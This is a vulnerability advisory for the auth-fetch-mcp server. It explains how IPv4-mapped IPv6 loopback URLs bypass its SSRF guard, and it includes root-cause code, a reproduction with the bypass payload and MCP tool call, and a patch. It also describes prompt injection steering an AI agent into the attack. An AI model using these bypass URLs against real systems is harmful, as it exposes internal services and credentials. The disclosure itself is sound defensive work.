auth-fetch-mcp has SSRF Protection Bypass via IPv4-mapped IPv6 Loopback

SSRF Protection Bypass via IPv4-mapped IPv6 Loopback

Summary

auth-fetch-mcp v3.0.1 implements SSRF protection in assertSafeUrl() (src/security.ts) to block requests to private and loopback addresses. However, the isPrivateV6() function fails to detect IPv4-mapped IPv6 loopback addresses in their hex-normalized form. When an attacker supplies a URL such as http://[::ffff:127.0.0.1]:PORT/, the Node.js WHATWG URL parser silently normalizes the host to [::ffff:7f00:1]. Because net.isIPv4('7f00:1') returns false, the private-IP check is bypassed and the URL is passed to the browser or HTTP client, allowing the MCP tool to reach loopback services that are supposed to be blocked. The issue is exploitable under default configuration without any special environment variable and carries a CVSS v3.1 Base Score of 7.4 (High).

Details

The vulnerable function is isPrivateV6() in src/security.ts, called from assertSafeUrl() which gates every outbound request made by the auth_fetch and download_media MCP tools.

Root cause — src/security.ts:46-50:

if (lower.startsWith("::ffff:")) {
  const v4 = lower.slice(7);          // "7f00:1" after Node normalization
  if (net.isIPv4(v4)) return isPrivateV4(v4);  // false → falls through
}
return false;   // loopback escapes the guard

The Node.js WHATWG URL class (conforming to the URL Living Standard) hex-normalizes IPv4-mapped IPv6 addresses:

Input hostname	After new URL(...).hostname
::ffff:127.0.0.1	::ffff:7f00:1
::ffff:192.168.1.1	::ffff:c0a8:101

After normalization, the suffix after ::ffff: is no longer a dotted-decimal IPv4 string, so net.isIPv4() returns false. The guard falls through and isPrivateV6() returns false, causing assertSafeUrl() to treat a loopback address as safe.

Data flow — primary sink (auth_fetch):

1. src/tools.ts:119 — auth_fetch accepts user-controlled url: z.string() (source).
2. src/tools.ts:128-131 — handler calls navigateTo(ctx, url), passing the raw URL.
3. src/browser.ts:58 — navigateTo() calls assertSafeUrl(url).
4. src/security.ts:74-108 — assertSafeUrl() delegates IPv6 host validation to isPrivateV6(); hex-normalized loopback bypasses the check.
5. src/browser.ts:66 — page.goto(safeUrl.toString()) issues a browser request to the internal address.
6. src/extractor.ts:33-54 / src/tools.ts:171-176 — page content is extracted and returned to the MCP caller.

Data flow — secondary sink (download_media):

1. src/tools.ts:198-210 — download_media accepts user-controlled urls[].
2. src/tools.ts:233-234 — each URL passes through assertSafeUrl() then ctx.request.get(safeUrl.toString()).
3. src/tools.ts:253-254 — the response body is written to the local downloads directory and the path is returned.

Dynamic confirmation (Phase 2):

The PoC ran inside a Docker container (--network=host). Direct loopback URLs are correctly blocked:

[BASELINE-BLOCK] Refusing to fetch 127.0.0.1 (resolves to private/loopback/link-local address 127.0.0.1)
[BASELINE-BLOCK] Refusing to fetch [::1] (resolves to private/loopback/link-local address ::1)

The IPv4-mapped IPv6 form bypasses the check and reaches the internal service:

[VULN] SECURITY_BYPASS: assertSafeUrl() did not throw
[VULN] Input URL:       http://[::ffff:127.0.0.1]:31337/
[VULN] Normalized URL:  http://[::ffff:7f00:1]:31337/
[VULN] Cause: net.isIPv4('7f00:1') = false → isPrivateV6() returns false
[SSRF] HTTP response received from internal service
[CONFIRMED] SSRF_CONFIRMED: response contains INTERNAL_SECRET_MARKER
[CONFIRMED] VULNERABILITY_REPRODUCED=TRUE

PoC

Prerequisites:

git clone https://github.com/ymw0407/auth-fetch-mcp.git
cd auth-fetch-mcp
npm ci
npm run build
npx playwright install --with-deps chromium

Terminal 1 — start a loopback-only internal service:

node -e 'require("http").createServer((q,r)=>r.end("<h1>INTERNAL_SECRET_MARKER</h1>")).listen(31337,"127.0.0.1")'

Terminal 2 — start the MCP server (default config, no special env vars):

npx auth-fetch-mcp@3.0.1

MCP tool invocation:

{
  "tool": "auth_fetch",
  "arguments": {
    "url": "http://[::ffff:127.0.0.1]:31337/"
  }
}

Expected vs. actual behavior:

URL	Expected	Actual
http://127.0.0.1:31337/	BLOCK	BLOCK (correct)
http://[::1]:31337/	BLOCK	BLOCK (correct)
http://[::ffff:127.0.0.1]:31337/	BLOCK	ALLOW (vulnerable)
http://[::ffff:7f00:1]:31337/	BLOCK	ALLOW (vulnerable)

After the user clicks the "Capture" button, the MCP response contains INTERNAL_SECRET_MARKER, confirming that the internal HTTP service was reached through the SSRF protection bypass.

Remediation

Decode the hex-encoded IPv4-mapped suffix before passing it to isPrivateV4():

 if (lower.startsWith("::ffff:")) {
   const v4 = lower.slice(7);
   if (net.isIPv4(v4)) return isPrivateV4(v4);
+  const m = /^([0-9a-f]{1,4}):([0-9a-f]{1,4})$/.exec(v4);
+  if (m) {
+    const hi = parseInt(m[1], 16);
+    const lo = parseInt(m[2], 16);
+    const mapped = `${hi >> 8}.${hi & 255}.${lo >> 8}.${lo & 255}`;
+    return isPrivateV4(mapped);
+  }
 }

Additionally, a BrowserContext route guard should be added in src/browser.ts to re-validate every navigation URL (including redirect targets) through assertSafeUrl().

No patched version available.

Impact

This is a Server-Side Request Forgery (SSRF) vulnerability. An attacker who can supply or influence the url argument of the auth_fetch tool (or the urls[] array of download_media) can direct the MCP server to make HTTP requests to services bound to 127.0.0.1 or any other private IPv4 range, simply by encoding the target address as an IPv4-mapped IPv6 literal.

Who is impacted:

• End users running auth-fetch-mcp locally: an attacker who can inject tool arguments (e.g., via a prompt-injection payload in a webpage visited by the AI agent) can read the response from any HTTP service on the user's loopback interface — local dev servers, admin panels, credential endpoints, metadata services, or other MCP servers.
• Server-side deployments: any deployment exposing auth-fetch-mcp as a shared MCP server faces the same risk against internal network services reachable from the host.
• The auth_fetch UI:R capture step is reflected in the CVSS score but does not eliminate the risk in prompt-injection scenarios, which the product's README explicitly identifies as an intended protection boundary.

Confidentiality of internal service responses is fully compromised (C:H); integrity and availability of the target service are not directly affected by this issue.